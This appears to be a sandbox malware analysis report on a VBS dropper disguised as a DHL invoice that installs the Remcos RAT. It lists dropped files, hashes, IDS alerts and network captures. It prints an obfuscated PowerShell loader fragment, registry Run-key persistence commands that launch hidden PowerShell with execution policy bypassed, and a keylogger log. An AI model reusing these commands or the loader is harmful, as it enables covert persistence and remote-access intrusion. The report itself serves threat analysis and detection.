Preview:	..$.z.s.b.D.t. .=. .'.C.:.\.W.i.n.d.o.w.s.\.M.i.c.r.o.s.o.f.t...N.E.T.\.'. .+. .'.F.r.a.m.e.w.o.r.k.\.v.4...0...3.0.3.1.9.\.'. .+. .'.A.d.d.I.n.P.r.o.c.e.s.s.3.2...e.x.e.'.;.....$.X.o.h.s.K. .=. .".?.?.%.y.z.X.V.M.%.".....$.U.e.b.T.a. .=. .'..!:..!'.;...$.X.K.v.H.v. .=. .'.A.'.;.....$.W.Y.v.t.t. .=. .'.T.V.q.Q..!:..!.!:..!M..!:..!.!:..!.!:..!.!:..!E..!:..!.!:..!.!:..!.!:..!/./.8..!:..!.!:..!L.g..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!Q..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!g..!:..!.!:..!.!:..!.!:..!.!:..!4.f.u.g.4..!:..!t..!:..!n.N.I.b.g.B.T.M.0.h.V.G.h.p.c.y.B.w.c.m.9.n.c.m.F.t.I.G.N.h.b.m.5.v.d.C.B.i.Z.S.B.y.d.W.4.g.a.W.4.g.R.E.9.T.I.G.1.v.Z.G.U.u.D.Q.0.K.J..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!B.Q.R.Q..!:..!.!:..!

C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x11.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (393), with no line terminators
Category:	dropped
Size (bytes):	393
Entropy (8bit):	5.217656004204946
Encrypted:	false
SSDEEP:	6:sDuwZH1j0IQHjo50E5rcsny1R3KbQO0c+EkjAuwknaZ5/5wR55wR55wR55UO45Nx:sVVj0ZsngkbQpc++prH2iiGT7
MD5:	1AFA8F6D9F706690E21B6415D3C930B7
SHA1:	EC97BDBF96CCBBA27DE986A0B9E50C4B565D341A
SHA-256:	385FBA09DF99171EECBF2A27D6EE49D8B6F7CD9FBA22C0B794BFDF028C765FAF
SHA-512:	CB4051A2396245E4D51E6010636E93B514CED89AA941D21D67AE3F6340FF0D44B8D6AC09683DA91934957C62F9ABF8A5AE4B6AF6FE6480862358E5C7935DDF24
Malicious:	false
Preview:	New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Update Drivers NVIDEO_zhs" -Value "cmd.exe /c start /min `"`" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command `". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' `";exit" -PropertyType "String" -force ; exit

C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x22.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (397), with no line terminators
Category:	dropped
Size (bytes):	397
Entropy (8bit):	5.206282316627512
Encrypted:	false
SSDEEP:	6:sDuwZH1j5tjo5oGrcsny1R3KbQO0c+EkjAuwknaZ5/5wR55wR55wR55UO45NHRn:sVVjfsngkbQpc++prH2iiGT7
MD5:	95945B1FA36829B64221AB93E6FD6257
SHA1:	F40B9EF85B2A31ED7160429D60231DFC1F4C089F
SHA-256:	1CB1AB43A76799D6FA475F7F19FF6544D0BBF50A37B488BC07197689317BEBFD
SHA-512:	42CCFF8FF8B801EC5178372E7B3F125CAF61A8814ADA9DED936B4C29707F495BBE015E7F48ECE4631FAA32C623C5A0483ABC5AD5A16A5E011DBF906488C39EC7
Malicious:	false
Preview:	New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" -Name "Update Drivers NVIDEO_fdm" -Value "cmd.exe /c start /min `"`" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command `". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' `";exit" -PropertyType "String" -force ; exit

C:\Users\user\AppData\Roaming\kanspt.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.361430792840248
Encrypted:	false
SSDEEP:	12:6lWecmlGlVbWFe5UlMfhlAAbWtlq+f6e5UlYYclAbW+:6VcmszWqUyO0Wtw+fDUSjOW+
MD5:	0ED8AA02C015C227162AD805F8C0AB98
SHA1:	7FE533013790F7A18C3C5F091DBB29163CE37AFE
SHA-256:	835620E55D110488973CACEF4C88E83FE7038A1D2A8AE4BDC65D5771F89748F2
SHA-512:	0F944878D24111AB91E6A364356FF772748BCA501B4560B0F79A4E0FD27E64A4E091100C6EEED5C1F237BD438A44D2EFC7B7550508ACA03045EC79C9AEFAAA2F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Roaming\kanspt.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.2.4. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.2.5. .R.u.n.].........[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.2.7. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.3.2. .R.u.n.].........[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.3.6. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.4.0. .C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].....[.W.i.n.].r.....[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.4.1. .R.u.n.].........[.2.0.2.4./.1.0./.2.2. .0.0.:.1.7.:.4.4. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.459279172780773
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	DHLShippingInvoicesAwbBL000000000102220242247.vbs
File size:	517'176 bytes
MD5:	d68363e3776ef2ea3277d9b24edd935b
SHA1:	dedcbb524e3fa621b716fbb4f4dea800e6279e1a
SHA256:	a22fb5a6beb7587e89ed509ba36d193070c2cb7ef5cc9cb2393823037265c39b
SHA512:	fbd166567d7ffe069f620b3fe27a1f1ff89e3f98f9fa9689732fbd5a591c10d3b710e4ce8a06f086033b981cc51d2161692a087b3b6d4729b60c822c1268a24c
SSDEEP:	1536:errrrrrrrrrrrrrrrr166666666666666666666666666666666666666666666z:O
TLSH:	A6B49A0B66EF5508B1B76F586A7250780B677E5E99BCC69C01CCA41E0FE3A40C961BF3
File Content Preview:	..........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'. .w.t.k.v.r. .'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'. .....O.n. .E.r.r.o.r. .R.e.s.u.m.e. .N.e.x.t.:.:.:.:.:.:.:. .z.G.U.b.c.j.U.e.R.M.K.F.d.I.q.m.V.W.z.r.N.N.B.z.S.t.X.d.U.y.o.J.u.B.o.k.u.l.s.U.y

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-22T06:17:08.765856+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.4	49732	188.114.96.3	443	TCP
2024-10-22T06:17:13.710351+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49734	188.114.96.3	443	TCP
2024-10-22T06:17:13.710351+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.4	49734	188.114.96.3	443	TCP
2024-10-22T06:17:16.611141+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	188.114.96.3	443	192.168.2.4	49735	TCP
2024-10-22T06:17:16.611141+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	188.114.96.3	443	192.168.2.4	49735	TCP
2024-10-22T06:17:21.239768+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49741	188.114.96.3	443	TCP
2024-10-22T06:17:21.239768+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.4	49741	188.114.96.3	443	TCP
2024-10-22T06:17:25.805214+0200	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49745	43.226.229.232	57484	TCP
2024-10-22T06:17:27.226086+0200	2032777	ET MALWARE Remcos 3.x Unencrypted Server Response	1	43.226.229.232	57484	192.168.2.4	49745	TCP
2024-10-22T06:17:29.198114+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	178.237.33.50	80	TCP
2024-10-22T06:19:42.831194+0200	2032777	ET MALWARE Remcos 3.x Unencrypted Server Response	1	43.226.229.232	57484	192.168.2.4	49745	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 06:17:03.523197889 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:03.528800011 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:03.528875113 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:05.341645956 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:05.342750072 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:05.351474047 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:05.618324995 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:05.618571043 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:05.623976946 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:05.896672010 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:05.896902084 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:05.902633905 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.168792009 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.169037104 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:06.174609900 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.440356016 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.440857887 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:06.446630955 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.712142944 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.712310076 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:06.717658997 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.984183073 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.987605095 CEST	49731	60113	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:06.993113995 CEST	60113	49731	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:06.993257999 CEST	49731	60113	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:06.993275881 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:06.998902082 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:07.265403032 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:07.314537048 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:07.762388945 CEST	60113	49731	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:07.765045881 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:07.814424038 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:07.814802885 CEST	49731	60113	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:07.906577110 CEST	60113	49731	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:07.906706095 CEST	49731	60113	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:07.907746077 CEST	49731	60113	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:07.915416956 CEST	60113	49731	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:07.931243896 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:07.931276083 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:07.931339979 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:07.936860085 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:07.936883926 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.567951918 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.568191051 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.571227074 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.571242094 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.571671963 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.585843086 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.631346941 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.765750885 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.766884089 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.766943932 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.766966105 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.768157959 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.768213034 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.768224955 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.771294117 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.771348000 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.771359921 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.801886082 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.801945925 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.801963091 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.845663071 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.845690966 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.884874105 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.885127068 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.885158062 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.886610985 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.886774063 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.886804104 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.889027119 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.889094114 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.889123917 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.920722008 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.920792103 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.920811892 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:08.970645905 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:08.974729061 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.002834082 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.003211975 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.003351927 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.005882025 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.005965948 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.007443905 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.008804083 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.008838892 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.009038925 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.039294004 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.080116034 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.080152035 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.094074965 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.094227076 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.094258070 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.121989012 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.122138977 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.122265100 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.122297049 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.122353077 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.123678923 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.125658989 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.125787973 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.125818968 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.126863003 CEST	443	49732	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:09.126995087 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:09.128865957 CEST	49732	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:10.595839977 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:10.910274982 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:11.517538071 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:11.645958900 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:11.645972013 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:11.645979881 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:11.911505938 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:11.912363052 CEST	49733	60162	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:11.917810917 CEST	60162	49733	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:11.917910099 CEST	49733	60162	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:11.917931080 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:11.923401117 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:12.189333916 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:12.236270905 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:12.672655106 CEST	60162	49733	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:12.674597025 CEST	21	49730	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:12.720655918 CEST	49730	21	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:12.720793009 CEST	49733	60162	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:12.808377028 CEST	60162	49733	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:12.808533907 CEST	49733	60162	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:12.808533907 CEST	49733	60162	192.168.2.4	191.252.83.213
Oct 22, 2024 06:17:12.809062004 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:12.809144974 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:12.809483051 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:12.809947014 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:12.809988022 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:12.814032078 CEST	60162	49733	191.252.83.213	192.168.2.4
Oct 22, 2024 06:17:13.418948889 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.420175076 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.420217991 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.710195065 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.710294962 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.710449934 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.710480928 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.711883068 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.711935043 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.711965084 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.741580009 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.741633892 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.741647005 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.744474888 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.744499922 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.744551897 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.744561911 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.744606018 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.835350990 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.837088108 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.837115049 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.837143898 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.837176085 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.837229967 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.858098984 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.859786034 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.859818935 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.859843016 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.859874964 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.859920979 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.861715078 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.908164978 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.908194065 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.944097996 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.944133997 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.944164991 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.944195986 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.944252968 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.945841074 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.975856066 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.975931883 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.976013899 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.977255106 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:13.977310896 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:13.977329016 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.017577887 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.017740011 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.017800093 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.061217070 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.061378956 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.061439991 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.062175989 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.062330961 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.062392950 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.092823982 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.092859030 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.092931986 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.092994928 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.093060970 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.094491959 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.134094954 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.134165049 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.134215117 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.180176020 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.180191040 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.180351973 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.180414915 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.209850073 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.210025072 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.210088015 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.210302114 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.251208067 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.251228094 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.251386881 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.253319025 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.253334045 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.253391027 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.295600891 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.295618057 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.295674086 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.326862097 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.327040911 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.327101946 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.327169895 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 22, 2024 06:17:14.328633070 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.328644037 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 22, 2024 06:17:14.328687906 CEST	49734	443	192.168.2.4	188.114.96.3
